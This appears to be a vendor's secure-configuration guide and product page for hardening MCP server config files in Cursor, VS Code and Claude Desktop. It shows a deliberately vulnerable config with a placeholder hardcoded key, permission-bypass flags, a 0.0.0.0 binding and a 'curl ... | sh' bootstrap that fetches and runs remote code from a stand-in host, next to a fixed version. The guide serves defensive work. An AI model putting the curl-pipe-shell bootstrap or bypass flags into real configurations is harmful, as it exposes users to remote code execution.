How to Fix Hardcoded Secrets & RCE Risks in mcp.json (Cursor, VS Code & Claude Desktop)
Stop committing plaintext API keys, unpinned npx packages, and 0.0.0.0 bindings inside
.cursor/mcp.json, .vscode/mcp.json, and claude_desktop_config.json.
Verify your config locally below with 0 bytes uploaded.
100% client-side AST engine · 0 bytes sent · One-time Polar.sh license (no subscription) unlocks all 72 IDE + CLI rules & SARIF 2.1.0.
Vulnerable vs. Hardened .vscode/mcp.json (Before & After)
This real diff resolves six critical findings at once: MCP001 (hardcoded secret),
MCP002 (unpinned npx), MCP003 (remote shell pipe),
MCP004 (inline shell eval), MCP005 (--allow-all bypass), and
MCP006 (0.0.0.0 LAN exposure).
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"--allow-all",
"--host", "0.0.0.0",
"/Users/dev/project"
],
"env": {
"OPENAI_API_KEY": "demo_hardcoded_openai_key_9f8e7d6c5b"
}
},
"bootstrap": {
"command": "sh",
"args": ["-c", "curl -fsSL https://example.com/mcp.sh | sh"]
}
}
}
{
"inputs": [
{
"id": "OPENAI_API_KEY",
"type": "promptString",
"description": "OpenAI API Key",
"password": true
}
],
"servers": {
"filesystem": {
"command": "npx",
"args": [
"@modelcontextprotocol/server-filesystem@0.6.2",
"--host", "127.0.0.1",
"/Users/dev/project/src"
],
"env": {
"OPENAI_API_KEY": "${input:OPENAI_API_KEY}"
}
}
}
}
Verify Your mcp.json Locally (All 18 MCP Rules)
100% in-browser · 0 bytes sent · < 10 ms
Paste your .cursor/mcp.json, .vscode/mcp.json, or claude_desktop_config.json below.
StackGuard evaluates all 18 AST rules directly in browser memory—zero network requests leave your tab.
MCP001–MCP018 before git push in VS Code, Cursor & CI
Unlock StackGuard Pro once (zero subscription) for all 72 rules, stackguard-cli, SARIF 2.1.0 for GitHub Code Scanning, and SHA-256 sealed SOC 2 / ISO 27001 / DORA reports.
Exact Remediation Reference: Rules MCP001–MCP006
| Rule ID | Severity | Vulnerability & CWE | Exact Fix |
|---|---|---|---|
MCP001 |
CRITICAL |
Hardcoded secret or API key in MCP config
|
Rotate the exposed key immediately, remove it from Git history, and replace literals with ${input:SECRET_NAME} or ${env:SECRET_NAME}. |
MCP002 |
HIGH |
Unpinned npx package in MCP server
|
Pin exact semver versions (e.g. @modelcontextprotocol/server-filesystem@0.6.2) and drop @latest. |
MCP003 |
CRITICAL |
Dangerous remote shell pipe in MCP command
|
Never execute curl | sh inside MCP startup commands; install a checksum-verified package or pinned container image. |
MCP004 |
CRITICAL |
Inline eval or dynamic shell execution in MCP args
|
Invoke the target binary directly with a fixed args array instead of sh -c, bash -c, or node -e. |
MCP005 |
HIGH |
Overly permissive bypass flag in MCP server args
|
Strip --allow-all, --dangerously-skip-permissions, --yolo, and --no-sandbox; scope directories explicitly. |
MCP006 |
HIGH |
MCP server bound to 0.0.0.0 (all interfaces)
|
Bind local SSE/HTTP MCP servers strictly to 127.0.0.1 so LAN or coffee-shop peers cannot invoke local tools. |
4-Step Incident Checklist When an MCP Secret Leaks
- Revoke & rotate first: Assume any token committed to a repo or pasted in a shared
.cursor/mcp.jsonis compromised. Rotate it in OpenAI, Anthropic, GitHub, or Slack immediately. - Switch to IDE secret prompts or OS env vars: Use
${input:API_KEY}in VS Code/Cursor or inject secrets at launch viaop run --/doppler run --for Claude Desktop. - Pin every MCP runtime & restrict directories: Lock
npx/uvxpackages to exact versions and remove mounts to~,~/.ssh, or~/.aws. - Gate pull requests with SARIF 2.1.0: Run
npx stackguard-cli . --format sarif --out stackguard.sarifin CI so future PRs fail automatically onMCP001–MCP018.
Frequently Asked Questions
How do I pass API keys into .cursor/mcp.json or .vscode/mcp.json without hardcoding secrets?
Replace plaintext tokens in env or headers with VS Code/Cursor secret inputs (${input:OPENAI_API_KEY}) paired with "password": true, or reference OS environment variables injected by your secrets manager.
Why is an unpinned npx package in mcp.json (MCP002) a supply-chain RCE risk?
npx -y @scope/server resolves the mutable latest tag on every fresh cache, meaning a compromised npm publish executes immediately on developer laptops with full user permissions.
Does the embedded mcp.json scanner upload my API keys or config to any server?
No. The 18-rule TypeScript AST parser runs 100% locally in scanner-bundle.js inside your browser tab with 0 bytes transmitted.
How can my team block mcp.json secret leaks automatically in GitHub PRs?
Install the StackGuard .vsix extension for real-time IDE Quick Fixes and run stackguard-cli in GitHub Actions with native SARIF 2.1.0 uploads to GitHub Code Scanning.